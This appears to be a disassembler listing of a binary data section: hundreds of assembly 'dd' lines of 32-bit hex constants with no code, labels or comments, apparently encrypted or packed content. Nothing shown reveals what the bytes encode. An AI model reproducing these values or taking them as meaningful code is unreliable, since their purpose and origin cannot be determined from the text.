		dd 164EEF77h, 644EF4A8h, 5F4E1792h, 792721A5h, 2F6E34DAh
		dd 0AC9525ABh, 8F56EE0h, 1F4E2F40h, 0D84A876Ch,	8CC18903h
		dd 0B4891AE1h, 61B3380Fh, 349546C6h, 9F20F415h,	0C1888899h
		dd 0C4F3EACCh, 0E5AEC6A4h, 0F2B11151h, 7AA4B7A3h, 704D14A2h
		dd 26D7C32Ch, 1A2AED5Dh, 0ED4BD339h, 0C14A5868h, 448242D0h
		dd 66D6D69h, 0A9967B65h, 2BF62B1Fh, 0DCFC8DEDh,	2C5C6D4Ch
		dd 0A825F89Ah, 920BD566h, 10A816D2h, 32FF484Ch,	0C9CD95C4h
		dd 0CB28596Dh, 38F64F51h, 0DC047FB6h, 0F5CEBF4Ch, 0F1CC987Eh
		dd 4518DC00h, 0DFE69B0Bh, 0D58F9D1Ch, 0B911B05Ch, 0C34E4A3Fh
		dd 0E84F2A7h, 995A6467h, 0CE4E3483h, 0B10AC63Fh, 80FB0F8Fh
		dd 2B563745h, 0F7F835B6h, 3CB6A99Fh, 3D932C46h,	0ED411ACh
		dd 0A42E5FFBh, 920329D1h, 91D42E55h, 855C3A1Fh,	0F1F84968h
		dd 92059CF6h, 91D42E55h, 0AA783A1Fh, 7035DC5h, 8727AB67h
		dd 0FDDC096Bh, 0D305EB48h, 0FE38D91Bh, 0BA86075Eh, 43C5C2Fh
		dd 0DB590560h, 18253067h, 1EA24A6Dh, 2C5B4B60h,	84ECB328h
		dd 10158CA6h, 5A865170h, 0DD78ABDAh, 0CFB55630h, 0B12EE215h
		dd 0DF4E4A2Eh, 0EEBE294h, 4C085684h, 0CD74CFBCh, 0C14E30A9h
		dd 538292F0h, 0FA158CA6h, 0E4096099h, 53C42288h, 0F9285D59h
		dd 100AE294h, 9486D269h, 0A411BBCEh, 146D2CB0h,	7E26B7FDh
		dd 40854BEBh, 0A7347D3Ch, 1A9186E4h, 0A2FA7F46h, 1A9287D7h
		dd 99FA7F46h, 1187888Eh, 0A72A5C45h, 3A0C86E4h,	0C14A5909h
		dd 384FA5F7h, 0C14A5983h, 0FDA70040h, 4539016Eh, 0C14A537Dh
		dd 1E61D840h, 0A24E2F47h, 9A866C84h, 0B26745Ch,	64EB0345h
		dd 0FE6D6E51h, 7DB564C9h, 0EFB993BEh, 924DBA15h, 2CF2D961h
		dd 9349AA49h, 3002DAE0h, 394A53FEh, 0C26419E8h,	384F75F7h
		dd 0C56E6B5Bh, 7B872F40h, 0C14B859Fh, 0BD125840h, 16FD418h
		dd 0C26896D5h, 488075F3h, 0CE65599Bh, 0DEE42BB5h, 0C14E30A3h
		dd 0AE401B97h, 93944740h, 3718BD32h, 6CBE848h, 62B77105h
		dd 0E11A815Dh, 541DB840h, 89C75126h, 35CF590Dh,	75C5F2D2h
		dd 0D85B59F1h, 43D70FA0h, 6532788Ah, 0DE337348h, 3FD409BBh
		dd 1A75B1Ch, 0A6B00EB7h
		dd 0BDF50B0Bh, 1AB92A52h, 61A2B4C7h, 0C14A5CEFh, 0AFB30C40h
		dd 0CC944035h, 3B0BBFF8h, 0C83DFBCAh, 7569DAC9h, 0C14A5CEFh
		dd 0A3E91840h, 8F247B9Fh, 29548658h, 6D2722FBh,	7AFA2220h
		dd 54620E6Ch, 1A867C1Ah, 2134015Eh, 2B4C1186h, 0F6C98BA4h
		dd 18B0D988h, 478F847Ah, 75F32F47h, 1A875846h, 0F160D988h
		dd 0C14B847Ah, 6BEC2F40h, 0C56EDF79h, 62AE2F40h, 46CC1094h
		dd 5ECB4CBBh, 0C17A4CBBh, 348D2F40h, 36ECB194h,	0C12DADB2h
		dd 75F70676h, 1A8076C2h, 7B5C540h, 6BE1847Bh, 0C56EE052h
		dd 0BAE2F40h, 0ECC2B94h, 5ECB4CBBh, 0C1514CBBh,	35882F40h
		dd 0DDFC6C94h, 21CDA573h, 0E5DCD366h, 434C11B9h, 744792FCh
		dd 1A876976h, 0C14A5BA6h, 616C4740h, 9DC6375Bh,	14A59014h
		dd 5FFFDF09h, 69D82E47h, 0BE4C11AEh, 9818B480h,	7E476B75h
		dd 63AB30D5h, 2F3AB1ECh, 0AF4D6445h, 376779EBh,	0A42E0BBh
		dd 507AFF8Bh, 0FEFDF80Bh, 0CD3B7C90h, 476EEE78h, 0DEFDF734h
		dd 695E205Bh, 0B6941F68h, 4D6574ACh, 77A4C831h,	0AE4374A0h
		dd 0E288C8BCh, 53012578h, 0BB13F711h, 0C5CFF74Ch, 0DB385A7Eh
		dd 95EF738h, 0B6896F68h, 0DEF793C0h, 0F3E15D39h, 0ED6C5402h
		dd 7A1AD65Ah, 939CF700h, 326C5421h, 7C57284h, 5F8DF621h
		dd 20F0084h, 0A3E24421h, 0EB6C5872h, 0BAC1B733h, 0D57CF68Fh
		dd 5E6C543Ah, 0DEFDF752h, 2 dup(0DEFDF739h), 548F3139h
		dd 0DFD67A31h, 645B74A0h, 0FE888DABh, 0B7E24836h, 5C6D8133h
		dd 43EEC8CBh, 0B6F08474h, 640B64ACh, 43BA8DABh,	0E7B84618h
		dd 0ADC20726h, 5BFDFB44h, 6534D0B4h, 0B7EF7A20h, 446D8133h
		dd 6534EC5Ch, 476EF720h, 0DEFDF72Eh, 0C44821A0h, 36FDF739h
		dd 0DEFB07F7h, 0DEFDF739h, 5C27F739h, 0FE8E58FDh, 0CFE2483Ah
		dd 326D8133h, 65F773B4h, 0A7E24420h, 0E8155ABFh, 5CD88109h
		dd 6534D084h, 0DB166120h, 645B74BAh, 0E8888DABh, 645B74A0h
		dd 0DEB48DABh, 0FEFDF739h, 64B064A1h, 43EE8DABh, 0B6F74F9Bh
		dd 0DDD774ACh, 2888C8BCh, 29E249EDh, 326D8132h,	65F734B4h
		dd 0A7E24420h, 0E8155ABFh, 438F8109h, 0B6F74F87h, 0CE977A52h
		dd 0B86D814Ch, 0C4BEE29Eh, 4FBD7A31h, 64251412h, 35888DABh
		dd 0CE9CEF8Dh, 0ED6D814Ch, 5C367ABBh, 0A2108CC2h, 0B6F74F9Bh
		dd 64202C12h, 43FB8DABh, 5CD0F660h, 65F74B7Ch, 0C3F17A20h
		dd 65F73054h, 0BAA17220h, 0A74925BBh, 0DB397336h, 0C41FF739h
		dd 0E7587C36h, 58AF626h, 0E75B00C1h, 0B810B926h, 0E8A43C84h
		dd 0DDA45626h, 0B8CA0E36h, 0C593EFBAh, 65F73584h, 0CAE24820h
		dd 5C6D8133h, 5B7A7A41h, 29B79F78h, 0DB6D8132h,	0B86AE739h
		dd 0DEFDFC84h, 92726039h, 0DB6BECE4h, 0DB152839h, 0D550F739h
		dd 275F9C23h, 4B82F711h, 0B6F082B6h, 0DD16F792h, 5C1CBFBAh
		dd 0CC96934Bh, 0B6560AB8h, 0DEFE2E85h, 29B7A039h, 0DB6D8132h
		dd 0B86AE739h, 0DEFDFC84h, 0DC726039h, 275BECE4h, 0DB152811h
		dd 0D550F739h, 0E75F9C20h, 0E724F8A6h, 44BDF739h, 0E6461D39h
		dd 0DEFDF3B9h, 0DBCA7336h, 4B90F739h, 0B6F082B6h, 9B6DF739h
		dd 0DB3A7336h, 0E30CF739h, 5BFDF8E6h, 0FEFDF391h, 0DD1C7252h
		dd 8BE24376h, 366D8133h, 2D4D884h, 15E24421h, 366D8132h
		dd 1F7B484h, 6E24421h, 366D8133h, 2639484h, 0BABA4421h
		dd 796D815Fh, 0C3764C11h, 0BEFDF739h, 368962BDh, 3E139355h
		dd 6C1394EDh, 0F9FDF739h, 90E22F95h, 0D8CD597Eh, 3EC2A037h
		dd 596A6E6Eh, 26E70ACh,	0CA156921h, 0DEFDF4DAh,	848A9739h
		dd 24EF48BCh, 23D0A02Dh, 0DEF78C2Dh, 84B2BC39h,	4388C021h
		dd 0B68AAAECh, 942B7C6Eh, 5177C8BCh, 386EF711h,	0DEFDF8F7h
		dd 0E78AF072h, 385CC8BCh, 0B68A8C10h, 0DEFDF739h, 0FFBCF75Bh
		dd 0DEFDF712h, 565999h,	0C70157A1h, 0C733AFB8h,	0DEFDF9CFh
		dd 0C9574DC4h, 4BEE3BC6h, 0B68AC248h, 15A12C26h, 0E7C1C8BCh
		dd 0DB1701E3h, 0A91DF739h, 0D4EC5953h, 490F48Eh, 0DB65F48Eh
		dd 0D5D7F739h, 0C727E53h, 0E596C4E6h, 2252DDFFh, 976D2CBAh
		dd 0AA4C8BCh, 0B68AC2B0h, 0FFDAF75Bh, 0DEFDF712h, 0AC0A4799h
		dd 0C70147A1h, 0C733AFB8h, 0DEFDF8F0h, 1A5033D2h, 40336141h
		dd 17EA477Bh, 796C5509h, 6D7CF611h, 5C6C56C8h, 8B46DA51h
		dd 1E488C26h, 2E7E3483h, 5B12110Eh, 5FCFFDA8h, 8821ED73h
		dd 0AED38D93h, 0B6621590h, 8 dup(0B55A90D0h), 4	dup(0B66E63A8h)
		dd 0B66BABA8h, 0B66EE0F4h, 2 dup(0C6A96119h), 372A4D91h
		dd 37F390D0h, 0B66E63A8h, 0B66211A8h, 0B6611E74h, 0B66E6769h
		dd 0C6A96119h, 1CB51E74h, 4E2A1299h, 0B6F215BBh, 0DFAA90D0h
		dd 37F390D0h, 0C6A961F1h, 0B66E6074h, 2	dup(2E6E63A8h)
		dd 0B66B90D0h, 0E0EE63A8h, 37F390D0h, 0B66E6750h, 0B67390D0h
		dd 37F390D0h, 2	dup(0B66E63A8h), 2 dup(37F390D0h), 37F38F28h
		dd 2 dup(37F390D0h), 2E6B90D0h,	0B72A4D99h, 2E6E63A8h
		dd 2 dup(1CB51E74h), 2 dup(37F390D0h), 0DFD1E3A8h, 37D1E3A8h
		dd 37F390D0h, 37F390A8h, 0ED290D0h, 0B66E63A8h,	5FF38F28h
		dd 37F390D0h, 5FF390D0h, 37F390D0h, 37F38F28h, 0B7F390D0h
		dd 1D3CD43Eh, 49E06D14h, 0B3D441F8h, 0B66E63A8h, 0E06767E7h
		dd 0B6AE607Eh, 0B6AE5DFAh, 2Bh dup(0B66E63A8h),	0DE4E23B1h
		dd 0B3C9F4A8h, 7D6E63A8h, 57FC1501h, 698F3862h,	568FCF1Dh
		dd 0B66E6769h, 0F19A71A8h, 317731FEh, 0B66E63AFh, 4997ADEFh
		dd 0DE4D3862h, 3F6163A8h, 2D6E63A8h, 5682F71Dh,	32F0F769h
		dd 97ED70C8h, 0E0931FD8h, 0B66F05B0h, 0C30F92A8h, 0B66E6555h
		dd 0D3CE90A8h, 55427200h, 49B554BBh, 32FC3862h,	97EC6E10h
		dd 159DA4CDh, 60F420BCh, 36621BFDh, 0CC622AFDh,	0B04A0732h
		dd 0DE76E403h, 0DFA9E357h, 0F20C63A8h, 0F20812ECh, 0F20C65F5h
		dd 976110F6h, 366E63A8h, 366E65FDh, 786E66FDh, 0AB761B5Dh
		dd 3AF620DFh, 0AF7EAA5Ch, 0DD3C7D57h, 0AF4FBAC2h, 0CC7464D0h
		dd 0DEBD33A9h, 0B66FEF25h, 5F8563A8h, 56E282C5h, 17D6B469h
		dd 0DB427207h, 0E08D00CBh, 94F338CDh, 0E06E63A8h, 93F1E8E9h
		dd 0E0649157h, 0C7EE67E7h, 0ABF3366Bh, 0FA6E63A9h, 0EACE370Fh
		dd 366E63A8h, 0C3621975h, 0E0674C35h, 0BAE5E8E7h, 0C58C51A8h
		dd 8ACE36A9h, 786E63A8h, 75641B5Dh, 0AE64645Dh,	0E06767EAh
		dd 0B3668C28h, 0DA7AEDDEh, 31776EACh, 0E067657Ah, 0B360E428h
		dd 0B19BAC57h, 0BEE67E7h, 0F20810F6h, 7C6110FAh, 146766FFh
		dd 55CC35D5h, 0AFA678F6h, 31703BD0h, 0B66E68F3h, 0DD3C7D57h
		dd 0AF4FBAC2h, 85F27D57h, 0C04FAB8Fh, 0DF994E29h, 0B26163A8h
		dd 0C36E63A8h, 0D06A3F2Eh, 0B66FEF25h, 5F8563A8h, 56E29AC5h
		dd 17D6B469h, 0DB4272FEh, 0E086BAB7h, 3333BBCDh, 0CA2A12E1h
		dd 0D939A7FAh, 9BFD0A32h, 0BE868F50h, 0B63EE357h, 5AF363A8h
		dd 958C4D5Ch, 55BD36A9h, 23F351F6h, 0B99E8F43h,	23F0A3EBh
		dd 0B868E766h, 33337D57h, 0EA7763FAh, 0AED91A5Dh, 0B362929Eh
		dd 0E0E2E357h, 0C18163A8h, 0B6612734h, 3177D0A8h, 0B66E6809h
		dd 0B364E428h, 0DFCCAC57h, 43EE63A8h, 5A7768D3h, 0B66E63B4h
		dd 0DC73EDDEh, 0DA73EC28h, 0B66FEF25h, 5F8563A8h, 56E13EC5h
		dd 0F7CC4E69h, 0B5427207h, 7D6E63A8h, 0B66B98C9h, 0B1E5E3A8h
		dd 1FCE36A8h, 366E63A8h, 0C3621975h, 0B66EFD34h, 958C51A8h
		dd 0B556F082h, 43EE63A8h, 317767F6h, 0B66E63ACh, 0B363E428h
		dd 0DE79E357h, 987763A8h, 2F35E25h, 9357B95Dh, 5E48F028h
		dd 31772CF9h, 0B66E63BBh, 0B076F5D0h, 3D612975h, 366E63A8h
		dd 31772CFAh, 0B66E680Dh, 0AD76FDD0h, 0B66E675Dh, 0AF482928h
		dd 0B66E6335h, 958C51A8h, 95B56983h, 0B6ADE357h, 987763A8h
		dd 0CAC12A25h, 62BD3651h, 94B6AA57h, 0E0F1FDEBh, 0CA675D75h
		dd 2457B951h, 0B0142CD0h, 0E0604335h, 12FDBBE7h, 0AFFCDBF6h
		dd 0B66BCA35h, 606092A8h, 0B6AD8EAFh, 9BFC63A8h, 1ECE36A0h
		dd 366E63A8h, 0C36E6775h, 0B66F3834h, 0F2BD36A8h, 0B36419ECh
		dd 0DFE063A8h, 0B18E91C0h, 14F2FDEAh, 9CCC2BD5h, 5B48473Bh
		dd 5A7764B0h, 0B66E6815h, 5A77CF10h, 0B66E6743h, 0DE484228h
		dd 696168CDh, 146E63A8h, 0A872645Dh, 0B6622DB1h, 0C38EBDA8h
		dd 0F56E5FB4h, 0B18EB9FFh, 5F1AF4F6h, 25F337E8h, 0C36E63A8h
		dd 0F61AF42Eh, 0B00AE5C3h, 9967512Eh, 0B7A7B929h, 0AF4D3CD0h
		dd 0E0600A35h, 0EB9C7E7h, 9C028BC2h, 57FEADE5h,	32C23862h
		dd 97850FC1h, 0B66E61B0h, 4A8C5DA8h, 6A85380Eh,	635B0EE5h
		dd 78046422h, 0A77072ADh, 15E18AFBh, 761490F8h,	0E56E6746h
		dd 0DE4CB421h, 0D8E422A8h, 8EE180FAh, 49A4ACC0h, 0B59A18C3h
		dd 2EB5861Eh, 0A2254201h, 9D9AC0BEh, 191DF78Fh,	74F191FEh
		dd 1DDA2103h, 2F54BE60h, 5C3B53BBh, 0A7776223h,	0B66291E0h
		dd 0C36E63A8h, 0B6622B35h, 0B557F0A8h, 84AD63A8h, 0D25FF1D5h
		dd 0DE4D0A7Ah, 0C05363A8h, 0C4DBBBC4h, 0B66EE257h, 0B78463A8h
		dd 0E06768D5h, 48D64D4Bh, 0F66D8101h, 87368A26h, 0D83DD39Bh
		dd 0CE01C0A7h, 0A56A0764h, 5A46D19Bh, 7D114161h, 0A3A9B58Eh
		dd 0F4A29DC2h, 6916573Bh, 983DD7DDh, 0A53DD662h, 0A53C6B9Bh
		dd 89E8D39Bh, 0A53EAD05h, 0A221069Bh, 0AE3DD39Bh, 0A56ACE61h
		dd 1B7AD39Bh, 407BE46Eh, 5CA4AEBh, 98E41495h, 0A53D5D0Fh
		dd 0A8A8D09Bh, 9F11D39Bh, 369FB1A1h, 44706123h,	568990BFh
		dd 0B118E100h, 2310BE92h, 5AC35BC8h, 0A8ADCF57h, 2051D39Bh
		dd 0BCF2E760h, 37DE2B02h, 9084587Bh, 0DD60D389h, 0E0413111h
		dd 0A60F0208h, 0F9AEA360h, 0A53DD6BCh, 9C15C808h, 9D942C4Ch
		dd 0B3C7C664h, 0AF641F08h, 6ED0D80Ah, 4DB806B5h, 983DD39Bh
		dd 31D3709Bh, 3C94F862h, 50890F98h, 0DC6F8461h,	98443193h
		dd 7E30D39Bh, 0AC3DD39Bh, 166ADF07h, 0D8659794h, 0FC1AEB5h
		dd 99DE0497h, 0DDD5039Bh, 0D03DD394h, 0A53E3C6Bh, 0AE91B19Bh
		dd 92FA3CF9h, 9CC39F40h, 5C59E3A2h, 0D6183EEBh,	0AAE477E8h
		dd 0A75DCF02h, 0C661D39Bh, 2A0B3228h, 0AB4A0545h, 0F1623654h
		dd 0BB336B0Fh, 0CD32D394h, 5AD1EC0h, 0A92E1CBEh, 30596229h
		dd 1C501292h, 27E3FE20h, 0DF4A00C5h, 78F71166h,	934A3362h
		dd 94970B4Bh, 0DF4ADB8Fh, 56F711C9h, 29A2845Dh,	6A3F8D8Fh
		dd 0E026B64Ah, 0CBE9DBBDh, 7FC341F8h, 0BA5077Eh, 0F90F47C0h
		dd 0A78D33B5h, 8F082617h, 0DDD261E2h, 0B24A00C6h, 0F5297D48h
		dd 0E08DD895h, 4D4A00C6h, 0DA02C0AAh, 0D00E0FACh, 0C64ADB99h
		dd 8F0E3FFEh, 0EA02AAE2h, 0E00E124Fh, 104ADBBDh, 4B9B18CFh
		dd 0B53602E2h, 904A00C6h, 1E113052h, 7A0E1365h,	0DCD62DC5h
		dd 0FF4A00C6h, 0A7989DC4h, 5FB6EB0Ah, 0C1B6EA22h, 684A00C6h
		dd 92239DECh, 2312B8FEh, 4E559A33h, 2B82FA9Eh, 2654FC7Ah
		dd 0D17C5B29h, 0B6ACD6BEh, 0E0B0B7FBh, 57AA00C6h, 9C8D657Ch
		dd 5736CC81h, 0E08ACC81h, 0A575DBBDh, 3313E47Ch, 3023C058h
		dd 0C8C986CFh, 0DF4AD937h, 0B26855C6h, 0BD0E0FBBh, 4BE91E68h
		dd 0F59B37E2h, 4B26F0CFh, 4F556E2h, 35A767F3h, 0B672E7CAh
		dd 0B568852Ah, 0AEB8E483h, 74ED890Eh, 2CF07844h, 35DAC319h
		dd 4C2CBD1Ch, 0F7F966AEh, 4EE5661h, 0C6E9B57Fh,	0F77E0B64h
		dd 78BEE1BDh, 9FE8FFA4h, 0BCDA8A52h, 0B7FCFC6Bh, 0D4680522h
		dd 57137A59h, 5698DF4Fh, 1D7A1F9Fh, 54C3C429h, 40EDE239h
		dd 19F0FA14h, 5BD1DC57h, 0A39D3BC0h, 8DE8A5B5h,	76CC03FBh
		dd 4C9D1771h, 921BF518h, 7EF42A28h, 0F121944Ah,	5AD6BF18h
		dd 120CBD2Dh, 0B37921CEh, 0E9A08ABAh, 0E9A7DA8Bh, 120CBFDAh
		dd 9E79227Ch, 0A32940F0h, 0D8309618h, 12CABE05h, 1212753Dh
		dd 2ACBD2Eh, 0AB9802FFh, 0B3859920h, 12619AD1h,	63C3BD2Eh
		dd 0C06451EEh, 1607425Ah, 9DB54B14h, 0BC4553ACh, 0F12190ABh
		dd 120CBD2Eh, 5AD3BF18h, 120CBD2Dh, 0AA46D4CEh,	0E9A702ADh
		dd 0E9A7DA8Bh, 120CBE08h, 0A846DA6Dh, 3CDF1D00h, 3B7BF8AFh
		dd 440CBD2Eh, 3FDA7F28h, 2CD81F9h, 0E9DBD71h, 0F121AA87h
		dd 28BAB593h, 0DCF961Fh, 0F121B6C3h, 46C4D83Bh,	6DCF961Fh
		dd 0F121AC8Bh, 5AB7BF18h, 120CBD2Dh, 9E7920CEh,	0E85A22BAh
		dd 0E9A7DA8Bh, 120CBFDFh, 94792389h, 0C67BA840h, 0D0C8D19Bh
		dd 121D76E3h, 4F60BD2Eh, 9D85587Ch, 0EB2736D5h,	0F2B4BAFEh
		dd 6DCFBF18h, 0F1219183h, 24A7EB5h, 1EC4B0C8h, 0AAAB8647h
		dd 93F09229h, 1737A82Ch, 6C86162Ah, 0DDD7724Ch,	0D0A1C8B7h
		dd 183F8323h, 90FF37ABh, 198E703Eh, 483731BFh, 53EC1DCAh
		dd 0E96866h, 0BCB33235h, 6667218Ch, 15C85CF7h, 524343E7h
		dd 17708C08h, 475F4B3Ah, 0C7D1C873h, 0A32BBBFDh, 0BC174A68h
		dd 6D2CC8DBh, 0C8E98514h, 132E0D87h, 0FC8A2ABBh, 0BF4F2937h
		dd 2633832Ah, 0A3A379BEh, 0A3A24DF6h, 0BF4F1B0Eh, 690D4785h
		dd 98FBB4DFh, 449D95A0h, 5207543Eh, 91E65389h, 9F4F2A8Ah
		dd 93BD23A7h, 0DF05AEA5h, 5005AEADh, 504F2A89h,	4972688h
		dd 9AE0E999h, 0E119917Eh, 0EB1D50F9h, 0A3F2C93Eh, 0F852BD89h
		dd 0E5D61006h, 0EB1320F9h, 0BF4F293Eh, 0DBB6538Ah, 0CCF7ECB8h
		dd 9E5DBB7Ch, 0A4651169h, 0C0F52159h, 0CC6F2A8Ah, 65803138h
		dd 8C80F15h, 0A4CA0F16h, 0D40F2A89h, 23CAD139h,	0A46A7142h
		dd 3C542A89h, 56AB2DF8h, 51494E47h, 0A390E4A9h,	7A899B7Dh
		dd 0DDB21169h, 0BF4F2937h, 0CD3BC7E7h, 0A46517AFh, 0CB19B7Ch
		dd 0D1EE116Ah, 0E298207Fh, 184B0531h, 33E55E90h, 0ED75F0FFh
		dd 3D5F772h, 8 dup(3D521E7h), 7681AE7h,	0FC7E21E7h, 0EF4595B6h
		dd 0EE53753Eh, 4C54F920h, 0EFAFCE6Eh, 732DA650h, 4D92F96Fh
		dd 0ED02E473h, 5C3E080Ah, 3D5259Eh, 0F4E32EE7h,	0EF45C58Fh
		dd 0EE525076h, 0CE66F920h, 322FD09h, 171CE7h, 49C48FDDh
		dd 0A585BD46h, 0E39726DBh, 9328237Ah, 8FFDD14Ah, 3D5F8D7h
		dd 322D2BFh, 4261AE7h, 0C4EC21E7h, 322E582h, 6E6B97E7h
		dd 0C75D6AB6h, 2DE3D4h,	0EF4595B6h, 88FF753Eh, 554AF91Eh
		dd 3B90A471h, 16A7F0C6h, 776BA657h, 6554F96Fh, 0F8B3EE22h
		dd 0CE673775h, 3D5236Ch, 0F41520E7h, 3D5208Fh, 322D2BFh
		dd 0BC68F0E7h, 0CBFB4C23h, 7657999h, 0E5A221E7h, 32F8B82h
		dd 543D2EE7h, 0B8433A46h, 84E00AD4h, 77FB2EECh,	0C750E50Eh
		dd 0BDFE89D4h, 0CBDA5DADh, 1CD520F6h, 615CC603h, 8191FA8Bh
		dd 47FEFB0Eh, 0C81778DBh, 0CBFB2ED4h, 39EF520Fh, 30E764DBh
		dd 0CAFB2D05h, 0A1D52024h, 22DAFEF5h, 0E3D520F6h, 81DAAF2Fh
		dd 4C66D461h, 7D66D411h, 59D520F6h, 0E48CB008h,	7F08091Bh
		dd 20E75F9Ah, 0FAFB319Fh, 0FED521E7h, 0A59AEAB8h, 5C2F97DBh
		dd 32F709Eh, 0E30B01E7h, 588A7BB2h, 58B152D2h, 32F99D2h
		dd 0CFBC92E7h, 91FE22C2h, 8EECBF83h, 0A02C5DB3h, 0EFAFD0B2h
		dd 0EC252061h, 3D520F5h, 5F313087h, 0F883B45Bh,	0F883B453h
		dd 3D5F8AAh, 0D5313027h, 792D99D4h, 729F8648h, 3F07A80h
		dd 1CDE21E7h, 0DED520F6h, 8B6E80Ch, 367DDCB2h, 975E390Dh
		dd 0BEEFF5A5h, 0A0281F7Fh
		dd 0EFA2F22Ah, 2729603Eh, 96CB2A5Eh, 0F7213D16h, 5C3CE61Dh
		dd 0B565DA3Bh, 373A43EAh, 9D2B28F5h, 9CAB16ADh,	0BA141B6Bh
		dd 0C429A5DAh, 0F7403B32h, 40F8EDAAh, 931F4632h, 0EE6BB8C5h
		dd 0E1717A9Bh, 0B939991Eh, 3B703070h, 0BCBEDB49h, 33A8E857h
		dd 61487745h, 139770CDh, 0D6AF1D79h, 957285F9h,	0CA8E2450h
		dd 0D7C38F0Dh, 7BCF4438h, 50876926h, 0E437F752h, 1ACE1C97h
		dd 71E55D7Ah, 0E6B4C66h, 2A60393Bh, 0AA0F8DD7h,	0CD1B8D38h
		dd 0FD254438h, 0A03F9928h, 57880E7Bh, 7F186B11h, 0E047F0ECh
		dd 0F0CF4438h, 0E1CB9B94h, 0F552AF38h, 12244A6Bh, 0DA9F9735h
		dd 5F392B31h, 2E0A21D9h, 37193F80h, 2A0CFB52h, 37CF0230h
		dd 0B1736EB5h, 2A603924h, 0DBFD6E8h, 0CD658E14h, 0C0F94438h
		dd 0A0C7F3CBh, 0B649F067h, 9ECF4438h, 61F1F594h, 0E1CF46CCh
		dd 148A700Dh, 2D7052DCh, 4AE47606h, 0B4F9F48Bh,	9302213Dh
		dd 7927EFF2h, 16C982D1h, 3DD3C546h, 0F0FA9755h,	0E1C8A190h
		dd 6976FB38h, 62603924h, 0E1CF4501h, 3BF2A2CAh,	0E73099DCh
		dd 298D00DCh, 0D8C766D5h, 0A5CF4438h, 0C70DD06Bh, 8CA8D59h
		dd 0C3C76981h, 69FA9713h, 9BDA896Dh, 53060BBFh,	5245FE93h
		dd 717A8D9Dh, 87941B55h, 8B586659h, 4A1CC51Dh, 29442255h
		dd 5F308787h, 5810F52Bh, 94484F92h, 1440D1F3h, 0F592BD0Bh
		dd 714424FEh, 3134B3A1h, 7B4C0CB8h, 71796B45h, 5AB92255h
		dd 4D972416h, 8587CB55h, 0F872E620h, 43A5A00Bh,	0E472E6FBh
		dd 696422C9h, 0DA49F718h, 524BF232h, 1FBE7Ah, 0C544224Dh
		dd 9ACE7B3h, 71436A62h,	0F28E2B9Bh, 397EF775h, 0ABCDF5B3h
		dd 0DDF5B3AAh, 0A742DC93h, 39C4FDDAh, 51628FBBh, 4F442255h
		dd 44A938D0h, 0B2760593h, 0A4B7D6F2h, 0D7E7A236h, 0E6005137h
		dd 0B2B3CFCAh, 0C1EE6CF0h, 0BCC77745h, 0D472E7F0h, 0D5F0DA13h
		dd 0A775F8C8h, 71442082h, 8C04CC55h, 0D535AD28h, 0ED3D224h
		dd 0EF83948h, 3C3B4888h, 901BA590h, 0BA2D9F5Ah,	44B3F93Eh
		dd 880E6B19h, 0F67F9438h, 0DEDC4069h, 0B08AD24Ch, 6C44224Dh
		dd 35DB0B1Ch, 2FDB0E98h, 3CB5078Ch, 5FE992BBh, 0F6229303h
		dd 0F9013902h, 0D7AD71C6h, 5FB58EC6h, 0FBD4F403h, 3D982Fh
		dd 71C2B6A6h, 5C3C038Ch, 96FB948h, 59AF5D1Bh, 0B0E5BA85h
		dd 350D732Bh, 5FE98A6Dh, 0B6F7303h, 0E902F8FEh,	99374BAFh
		dd 350930F1h, 99757303h, 3349A0Fh, 50C2B6A4h, 0AC5F5D1Bh
		dd 5FE9BA86h, 63C47303h, 60DC9C0Ch, 788CB1A2h, 328FAB1Fh
		dd 5FE98A6Dh, 0B6F7303h, 0E902F8FEh, 99374BAFh,	353B30F1h
		dd 99757303h, 149BE90Fh, 32ADB49h, 50A2C88Dh, 8A7D1289h
		dd 22897C2Ah, 208225C4h, 0CEA49A43h, 2A551ED5h,	1BD37E78h
		dd 0C51EA7D2h, 1041D3B6h, 0F2B1A2F4h, 9E5EE04Eh, 0AD8BF068h
		dd 33B0201Eh, 272CC024h, 0A833B2EAh, 1E40D5BBh,	93AC28B9h
		dd 1B2BE2A4h, 0F18C7800h, 9CC21052h, 42D3B66h, 97496B94h
		dd 8627FCEh, 1E0A68AFh,	1F461C8Dh, 9D3E37ACh, 34B7C058h
		dd 2A760911h, 4F5249EEh, 0D57F3457h, 1B13EC4Ah,	74D22F9Fh
		dd 4C107F5h, 2EDBE2ADh,	79F08E8Bh, 0FC489C25h, 5176413Dh
		dd 9C44F0E5h, 73F08EACh, 3D5FA731h, 0A7336EF2h,	0F4F766Eh
		dd 21CA0509h, 3CD85CFBh, 0AC75A447h, 8C3AE745h,	0A5EED4Ah
		dd 26AE58A8h, 6A336E23h, 89F0ADD1h, 15B405F7h, 8CBA5B2Ch
		dd 0BCEC7EC2h, 96FAAD0Ah, 42D3CB3h, 0C1E0161Ch,	4D172F87h
		dd 562D37ACh, 143592D7h, 0C847AA6Ch, 0DA3163FCh, 8E7735ECh
		dd 0BC7579B9h, 8CBA5B20h, 46A986Ah, 6C55A00Ah, 6CD76394h
		dd 52621322h, 0D4DDC434h, 0CC24D1C3h, 78A270C9h, 0FE0D72B0h
		dd 6EB404E5h, 51BE885Ch, 0A3BDDF35h, 940D72CBh,	5775CC33h
		dd 38D5F8B4h, 0ED798765h, 5737EFA4h, 0E4C393A7h, 0DEBC5CA5h
		dd 5D6D72B0h, 2A59C3B6h, 0C8DDEFCCh, 0DE92EFD6h, 81FE72B0h
		dd 25C525B5h, 1BDC9AB2h, 0E9D3B2DBh, 290B07E0h,	973C3A3Bh
		dd 1ED9C6A6h, 8B0D73E4h, 2D261A59h, 873C3A3Bh, 0DED9C53Fh
		dd 0CC0D72B0h, 78A16FC9h, 0FE0D72B0h, 6C57CC2Ch, 51BDE0A4h
		dd 0A3BDDF35h, 0B30D72CBh, 4E52AD66h, 41440160h, 0AE0D72CAh
		dd 54B31057h, 91CA3628h, 60EBE44Dh, 0AAFC175h, 0CCD9C521h
		dd 78ACFBC9h, 0FE0D72B0h, 6D4BCC58h, 51BDE004h,	3CBDDF35h
		dd 970D72CAh, 0B8E4AEE2h, 0AEDCBDF6h, 5730D0D9h, 9927F5E5h
		dd 8753DC9h, 0E4C39750h, 0DEBC5CEEh, 3E6D72B0h,	0D3A724B6h
		dd 0C8DDEFD6h, 0DE9CEFD6h, 4EFF72B0h, 7F415AB6h, 0F154F2E7h
		dd 9B24F886h, 4B0F50AEh, 819A1634h, 0CCDF5BCh, 523090EDh
		dd 0A1858866h, 37D09CAAh, 9E3AF48Bh, 3428A21h, 0AA9C7646h
